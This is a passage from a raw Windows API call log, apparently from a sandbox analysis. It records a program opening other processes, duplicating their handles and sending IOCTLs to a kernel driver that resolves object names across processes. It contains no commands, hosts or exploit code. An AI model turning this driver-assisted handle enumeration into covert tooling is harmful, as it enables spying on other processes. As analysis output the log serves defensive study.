ReturnLength=0x0 | out: ObjectInformation=0x1a4c50, ReturnLength=0x0) returned 0x0 [0102.532] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1a4c50 | out: hHeap=0x180000) returned 1 [0102.532] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e30090 [0102.532] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e30090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e30090*, lpBytesReturned=0x12d450*=0xc0, lpOverlapped=0x0) returned 1 [0102.532] PsLookupProcessByProcessId (in: ProcessId=0xe5c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.532] PsAcquireProcessExitSynchronization () returned 0x0 [0102.532] KeStackAttachProcess (in: PROCESS=0xfffffa800394e630, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800394e630, ApcState=0xfffff88004f095d0) [0102.532] ObReferenceObjectByHandle (in: Handle=0x4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a002dac6f0, HandleInformation=0x0) returned 0x0 [0102.532] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.532] PsReleaseProcessExitSynchronization () returned 0x2 [0102.532] ObfDereferenceObject (Object=0xfffffa800394e630) returned 0xd [0102.532] ObQueryNameString (in: Object=0xfffff8a002dac6f0, ObjectNameInfo=0xfffffa8003311684, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003311684, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.532] ObfDereferenceObject (Object=0xfffff8a002dac6f0) returned 0x2 [0102.532] IofCompleteRequest (Irp=0xfffffa800c5de010, PriorityBoost=0) [0102.532] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e30090 | out: hHeap=0x180000) returned 1 [0102.532] CloseHandle (hObject=0xc4) returned 1 [0102.532] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xe4c) returned 0xc4 [0102.532] GetCurrentProcess () returned 0xffffffffffffffff [0102.532] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0x20, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0102.532] CloseHandle (hObject=0xc4) returned 1 [0102.532] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0102.532] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x78) returned 0x1a4c50 [0102.532] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x1a4c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x1a4c50, ReturnLength=0x0) returned 0x0 [0102.532] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1a4c50 | out: hHeap=0x180000) returned 1 [0102.532] NtQueryInformationProcess (in: ProcessHandle=0xc0, ProcessInformationClass=0x0, ProcessInformation=0x12d538, ProcessInformationLength=0x30, ReturnLength=0x12d4b0 | out: ProcessInformation=0x12d538, ReturnLength=0x12d4b0) returned 0xc0000022 [0102.532] CloseHandle (hObject=0xc0) returned 1 [0102.532] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xe3c) returned 0xc0 [0102.532] GetCurrentProcess () returned 0xffffffffffffffff [0102.532] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0xbc, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0102.533] CloseHandle (hObject=0xc0) returned 1 [0102.533] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0102.533] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x78) returned 0x1a4c50 [0102.533] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x1a4c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x1a4c50, ReturnLength=0x0) returned 0x0 [0102.533] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1a4c50 | out: hHeap=0x180000) returned 1 [0102.533] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e30090 [0102.533] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e30090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e30090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0102.533] PsLookupProcessByProcessId (in: ProcessId=0xe3c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.533] PsAcquireProcessExitSynchronization () returned 0x0 [0102.533] KeStackAttachProcess (in: PROCESS=0xfffffa800394e060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800394e060, ApcState=0xfffff88004f095d0) [0102.533] ObReferenceObjectByHandle (in: Handle=0xbc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800227ae20, HandleInformation=0x0) returned 0x0 [0102.533] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.533] PsReleaseProcessExitSynchronization () returned 0x2 [0102.533] ObfDereferenceObject (Object=0xfffffa800394e060) returned 0x22 [0102.533] ObQueryNameString (in: Object=0xfffffa800227ae20, ObjectNameInfo=0xfffffa8002007044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002007044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.533] ObfDereferenceObject (Object=0xfffffa800227ae20) returned 0x3 [0102.533] IofCompleteRequest (Irp=0xfffffa800c5de010, PriorityBoost=0) [0102.533] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e30090 | out: hHeap=0x180000) returned 1 [0102.533] CloseHandle (hObject=0xc4) returned 1 [0102.533] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xe3c) returned 0xc4 [0102.533] GetCurrentProcess () returned 0xffffffffffffffff [0102.533] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0xb8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0102.533] CloseHandle (hObject=0xc4) returned 1 [0102.533] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0102.533] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x78) returned 0x1a4c50 [0102.533] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x1a4c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x1a4c50, ReturnLength=0x0) returned 0x0 [0102.533] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1a4c50 | out: hHeap=0x180000) returned 1 [0102.533] NtQueryInformationThread (in: ThreadHandle=0xc0, ThreadInformationClass=0x0, ThreadInformation=0x12d508, ThreadInformationLength=0x30, ReturnLength=0x12d4b0 | out: ThreadInformation=0x12d508, ReturnLength=0x12d4b0) returned 0xc0000022 [0102.533] CloseHandle (hObject=0xc0) returned 1 [0102.533] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xe3c) returned 0xc0 [0102.534] GetCurrentProcess () returned 0xffffffffffffffff [0102.534] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0xa8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0102.534] CloseHandle (hObject=0xc0) returned 1 [0102.534] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0102.534] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x88) returned 0x1a4c50 [0102.534] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x1a4c50, ObjectInformationLength=0x88, ReturnLength=0x0 | out: ObjectInformation=0x1a4c50, ReturnLength=0x0) returned 0x0 [0102.534] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1a4c50 | out: hHeap=0x180000) returned 1 [0102.534] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e30090 [0102.534] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e30090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e30090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0102.534] PsLookupProcessByProcessId (in: ProcessId=0xe3c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.534] PsAcquireProcessExitSynchronization () returned 0x0 [0102.534] KeStackAttachProcess (in: PROCESS=0xfffffa800394e060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800394e060, ApcState=0xfffff88004f095d0) [0102.534] ObReferenceObjectByHandle (in: Handle=0xa8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa8001f0be00, HandleInformation=0x0) returned 0x0 [0102.534] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.534] PsReleaseProcessExitSynchronization () returned 0x2 [0102.534] ObfDereferenceObject (Object=0xfffffa800394e060) returned 0x22 [0102.534] ObQueryNameString (in: Object=0xfffffa8001f0be00, ObjectNameInfo=0xfffffa800264d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800264d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.534] ObfDereferenceObject (Object=0xfffffa8001f0be00) returned 0x2 [0102.534] IofCompleteRequest (Irp=0xfffffa800c5de010, PriorityBoost=0) [0102.534] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e30090 | out: hHeap=0x180000) returned 1 [0102.534] CloseHandle (hObject=0xc4) returned 1 [0102.534] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xe3c) returned 0xc4 [0102.534] GetCurrentProcess () returned 0xffffffffffffffff [0102.534] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0xa4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0102.534] CloseHandle (hObject=0xc4) returned 1 [0102.534] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0102.534] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x88) returned 0x1bcb50 [0102.534] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x1bcb50, ObjectInformationLength=0x88, ReturnLength=0x0 | out: ObjectInformation=0x1bcb50, ReturnLength=0x0) returned 0x0 [0102.534] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1bcb50 | out: hHeap=0x180000) returned 1 [0102.534] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e30090 [0102.534] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e30090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e30090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0102.535] PsLookupProcessByProcessId (in: ProcessId=0xe3c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.535] PsAcquireProcessExitSynchronization () returned 0x0 [0102.535] KeStackAttachProcess (in: PROCESS=0xfffffa800394e060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800394e060, ApcState=0xfffff88004f095d0) [0102.535] ObReferenceObjectByHandle (in: Handle=0xa4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80025b2490, HandleInformation=0x0) returned 0x0 [0102.535] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.535] PsReleaseProcessExitSynchronization () returned 0x2 [0102.535] ObfDereferenceObject (Object=0xfffffa800394e060) returned 0x22 [0102.535] ObQueryNameString (in: Object=0xfffffa80025b2490, ObjectNameInfo=0xfffffa8002009404, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002009404, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.535] ObfDereferenceObject (Object=0xfffffa80025b2490) returned 0x3 [0102.535] IofCompleteRequest (Irp=0xfffffa800c5de010, PriorityBoost=0) [0102.535] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e30090 | out: hHeap=0x180000) returned 1 [0102.535] CloseHandle (hObject=0xc0) returned 1 [0102.535] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xe3c) returned 0xc0 [0102.535] GetCurrentProcess () returned 0xffffffffffffffff [0102.535] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0xa0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0102.535] CloseHandle (hObject=0xc0) returned 1 [0102.535] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0102.535] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x80) returned 0x1bcb50 [0102.535] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x1bcb50, ObjectInformationLength=0x80, ReturnLength=0x0 | out: ObjectInformation=0x1bcb50, ReturnLength=0x0) returned 0x0 [0102.535] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1bcb50 | out: hHeap=0x180000) returned 1 [0102.535] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e30090 [0102.535] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e30090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e30090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0102.535] PsLookupProcessByProcessId (in: ProcessId=0xe3c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.535] PsAcquireProcessExitSynchronization () returned 0x0 [0102.535] KeStackAttachProcess (in: PROCESS=0xfffffa800394e060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800394e060, ApcState=0xfffff88004f095d0) [0102.535] ObReferenceObjectByHandle (in: Handle=0xa0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00451da00, HandleInformation=0x0) returned 0x0 [0102.535] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.535] PsReleaseProcessExitSynchronization () returned 0x2 [0102.535] ObfDereferenceObject (Object=0xfffffa800394e060) returned 0x22 [0102.535] ObQueryNameString (in: Object=0xfffff8a00451da00, ObjectNameInfo=0xfffffa8002514044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002514044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.535] ObfDereferenceObject (Object=0xfffff8a00451da00) returned 0x2 [0102.535] IofCompleteRequest (Irp=0xfffffa800c5de010, PriorityBoost=0) [0102.535] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e30090 | out: hHeap=0x180000) returned 1 [0102.535] CloseHandle (hObject=0xc4) returned 1 [0102.536] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xe3c) returned 0xc4 [0102.536] GetCurrentProcess () returned 0xffffffffffffffff [0102.536] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0x90, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0x0) returned 0 [0102.536] CloseHandle (hObject=0xc4) returned 1 [0102.536] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x88) returned 0x1bcb50 [0102.536] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335004c, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1bcb50, nOutBufferSize=0x88, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1bcb50*, lpBytesReturned=0x12d450*=0x28, lpOverlapped=0x0) returned 1 [0102.536] PsLookupProcessByProcessId (in: ProcessId=0xe3c, Process=0xfffff88004f095a8 | out: Process=0xfffff88004f095a8) returned 0x0 [0102.536] PsAcquireProcessExitSynchronization () returned 0x0 [0102.536] KeStackAttachProcess (in: PROCESS=0xfffffa800394e060, ApcState=0xfffff88004f095c8 | out: PROCESS=0xfffffa800394e060, ApcState=0xfffff88004f095c8) [0102.536] ObReferenceObjectByHandle (in: Handle=0x90, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f095b0, HandleInformation=0x0 | out: Object=0xfffff88004f095b0*=0xfffffa800265ba50, HandleInformation=0x0) returned 0x0 [0102.536] PsReleaseProcessExitSynchronization () returned 0x2 [0102.536] ObfDereferenceObject (Object=0xfffffa800394e060) returned 0x22 [0102.536] ZwQueryObject (in: Handle=0x90, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0xfffff88004f095a4 | out: ObjectInformation=0x0, ReturnLength=0xfffff88004f095a4) returned 0xc0000004 [0102.536] ExAllocatePoolWithTag (PoolType=0x1, NumberOfBytes=0x88, Tag=0x58637250) returned 0xfffff8a0026cc200 [0102.536] ZwQueryObject (in: Handle=0x90, ObjectInformationClass=0x2, ObjectInformation=0xfffff8a0026cc200, ObjectInformationLength=0x88, ReturnLength=0x0 | out: ObjectInformation=0xfffff8a0026cc200, ReturnLength=0x0) returned 0x0 [0102.536] ExFreePoolWithTag (P=0xfffff8a0026cc200, Tag=0x0) [0102.536] ObfDereferenceObject (Object=0xfffffa800265ba50) returned 0x1 [0102.536] KeUnstackDetachProcess (ApcState=0xfffff88004f095c8) [0102.536] IofCompleteRequest (Irp=0xfffffa800c5de010, PriorityBoost=0) [0102.536] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1bcb50 | out: hHeap=0x180000) returned 1 [0102.536] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e30090 [0102.536] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e30090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e30090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0102.536] PsLookupProcessByProcessId (in: ProcessId=0xe3c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.536] PsAcquireProcessExitSynchronization () returned 0x0 [0102.536] KeStackAttachProcess (in: PROCESS=0xfffffa800394e060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800394e060, ApcState=0xfffff88004f095d0) [0102.536] ObReferenceObjectByHandle (in: Handle=0x90, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa800265ba50, HandleInformation=0x0) returned 0x0 [0102.536] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.537] PsReleaseProcessExitSynchronization () returned 0x2 [0102.537] ObfDereferenceObject (Object=0xfffffa800394e060) returned 0x22 [0102.537] ObQueryNameString (in: Object=0xfffffa800265ba50, ObjectNameInfo=0xfffffa80025fc044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fc044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.537] ObfDereferenceObject (Object=0xfffffa800265ba50) returned 0x1 [0102.537] IofCompleteRequest (Irp=0xfffffa800c5de010, PriorityBoost=0) [0102.537] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e30090 | out: hHeap=0x180000) returned 1 [0102.537] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xe3c) returned 0xc4 [0102.537] GetCurrentProcess () returned 0xffffffffffffffff [0102.537] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0x4c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0102.537] CloseHandle (hObject=0xc4) returned 1 [0102.537] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0102.537] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x78) returned 0x1a4c50 [0102.537] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x1a4c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x1a4c50, ReturnLength=0x0) returned 0x0 [0102.537] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1a4c50 | out: hHeap=0x180000) returned 1 [0102.537] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e30090 [0102.537] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e30090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e30090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0102.537] PsLookupProcessByProcessId (in: ProcessId=0xe3c, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.537] PsAcquireProcessExitSynchronization () returned 0x0 [0102.537] KeStackAttachProcess (in: PROCESS=0xfffffa800394e060, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa800394e060, ApcState=0xfffff88004f095d0) [0102.537] ObReferenceObjectByHandle (in: Handle=0x4c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffffa80024358a0, HandleInformation=0x0) returned 0x0 [0102.537] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.537] PsReleaseProcessExitSynchronization () returned 0x2 [0102.537] ObfDereferenceObject (Object=0xfffffa800394e060) returned 0x22 [0102.537] ObQueryNameString (in: Object=0xfffffa80024358a0, ObjectNameInfo=0xfffffa8001fb7044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fb7044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.537] ObfDereferenceObject (Object=0xfffffa80024358a0) returned 0x2 [0102.537] IofCompleteRequest (Irp=0xfffffa800c5de010, PriorityBoost=0) [0102.537] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e30090 | out: hHeap=0x180000) returned 1 [0102.537] CloseHandle (hObject=0xc0) returned 1 [0102.537] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xe34) returned 0xc0 [0102.537] GetCurrentProcess () returned 0xffffffffffffffff [0102.538] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0xc4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0102.538] CloseHandle (hObject=0xc0) returned 1 [0102.538] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0102.538] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x78) returned 0x1a4c50 [0102.538] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x1a4c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x1a4c50, ReturnLength=0x0) returned 0x0 [0102.538] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1a4c50 | out: hHeap=0x180000) returned 1 [0102.538] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e30090 [0102.538] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e30090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e30090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0102.538] PsLookupProcessByProcessId (in: ProcessId=0xe34, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0102.538] PsAcquireProcessExitSynchronization () returned 0x0 [0102.538] KeStackAttachProcess (in: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80039e2b30, ApcState=0xfffff88004f095d0) [0102.538] ObReferenceObjectByHandle (in: Handle=0xc4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a002ee7440, HandleInformation=0x0) returned 0x0 [0102.538] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0102.538] PsReleaseProcessExitSynchronization () returned 0x2 [0102.538] ObfDereferenceObject (Object=0xfffffa80039e2b30) returned 0x1e [0102.538] ObQueryNameString (in: Object=0xfffff8a002ee7440, ObjectNameInfo=0xfffffa80025fd044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fd044, ReturnLength=0xfffff88004f09550) returned 0x0 [0102.538] ObfDereferenceObject (Object=0xfffff8a002ee7440) returned 0x2 [0102.538] IofCompleteRequest (Irp=0xfffffa800c5de010, PriorityBoost=0) [0102.538] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e30090 | out: hHeap=0x180000) returned 1 [0102.538] CloseHandle (hObject=0xc4) returned 1 [0102.538] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0xe20) returned 0xc4 [0102.538] GetCurrentProcess () returned 0xffffffffffffffff [0102.538] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0x38, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0102.538] CloseHandle (hObject=0xc4) returned 1 [0102.538] NtQueryObject (in: 